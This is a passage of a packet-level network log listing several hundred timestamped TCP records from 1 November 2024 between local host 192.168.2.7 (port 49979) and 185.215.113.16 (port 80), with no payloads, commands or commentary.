Nov 1, 2024 12:14:38.995655060 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995683908 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995685101 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995685101 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995702982 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995713949 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995723009 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995723009 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995728016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995745897 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995754957 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995754957 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995764971 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995779037 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995783091 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995795012 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995805979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995816946 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995836020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995841026 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995848894 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995857954 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995862961 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995874882 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995887995 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995898008 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995908976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995910883 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995910883 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995923042 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995932102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995943069 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995959044 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995959044 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.995965958 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995985031 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.995997906 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996004105 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996009111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996017933 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996021986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996035099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996046066 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996047974 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996062994 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996077061 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996088028 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996094942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996100903 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996112108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996124029 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996134043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996140003 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996169090 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996166945 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996166945 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996166945 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996180058 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996191978 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996193886 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996206999 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996220112 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996229887 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996241093 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996241093 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996272087 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996274948 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996284962 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996294975 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996304989 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996309996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996316910 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996321917 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996334076 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996365070 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996365070 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996385098 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996426105 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996443033 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996457100 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996465921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996476889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996491909 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996510983 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996522903 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996546030 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996558905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996570110 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996582031 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996594906 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996602058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996607065 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996618032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996640921 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996640921 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996649981 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996665001 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996675968 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996684074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996684074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996689081 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996701002 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996702909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996716022 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996728897 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996737957 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996737957 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996740103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996767044 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996773005 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996784925 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996810913 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996812105 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996820927 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996833086 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996834040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996845007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996856928 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996856928 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996859074 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996872902 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996875048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996900082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996903896 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996917963 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996923923 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996931076 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996942043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996951103 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996956110 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.996980906 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996980906 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.996993065 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997008085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997013092 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997019053 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997033119 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997070074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997070074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997138977 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997200012 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997215986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997270107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997495890 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997509003 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997520924 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997548103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997558117 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997559071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997558117 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997574091 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997586966 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997594118 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997627974 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997641087 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997651100 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997653961 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997665882 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997677088 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997690916 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997690916 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997737885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997741938 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997750044 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997760057 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.997786999 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.997812033 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998387098 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998399019 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998409986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998534918 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998545885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998557091 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998569965 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998580933 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998580933 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998581886 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998595953 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998608112 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998615980 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998620033 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998634100 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998641014 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998663902 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998692989 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998702049 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998713970 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998724937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998743057 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998755932 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998765945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998769999 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998769999 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998780012 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998791933 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998802900 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998806000 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998816013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998831987 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998845100 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998845100 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998872995 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998882055 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998887062 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998899937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998913050 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998924017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998927116 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998936892 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998950005 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998950005 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998964071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998974085 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998975039 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.998991966 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.998995066 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999001980 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999007940 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999022007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999028921 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999033928 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999048948 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999054909 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999073982 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999083996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999094009 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999114037 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999125957 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999128103 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999138117 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999151945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999155045 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999164104 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999175072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999186993 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999186993 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999222994 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999285936 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999310970 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999330997 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999335051 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999358892 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999388933 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999428034 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999439955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999450922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999461889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999483109 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999484062 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999484062 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999500990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999525070 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999535084 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999535084 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999555111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999567032 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999567032 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999582052 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999594927 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999603987 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999605894 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999615908 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999638081 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999638081 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999639988 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999658108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999670029 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999680042 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999680996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999680042 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999696016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999705076 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999707937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999722004 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999735117 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999773979 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999773979 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999775887 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999789000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999799967 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999835014 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999835014 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999880075 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999897957 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999910116 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999928951 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999960899 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.999974012 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.999985933 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000006914 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000025988 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000037909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000042915 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000042915 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000050068 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000062943 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000076056 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000087023 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000087023 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000104904 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000114918 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000114918 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000150919 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000175953 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000344038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000356913 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000370979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000387907 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000411987 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000415087 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000415087 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000423908 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000437975 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000452995 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000482082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000713110 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000724077 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000736952 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000796080 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000796080 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000806093 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000818014 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000849009 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000859976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000864983 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000871897 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000899076 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000904083 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000904083 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000919104 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000924110 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000936031 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000945091 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000948906 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000961065 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000962973 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.000972986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000988007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000993013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.000994921 CET	49979	80	192.168.2.7	185.215.113.16
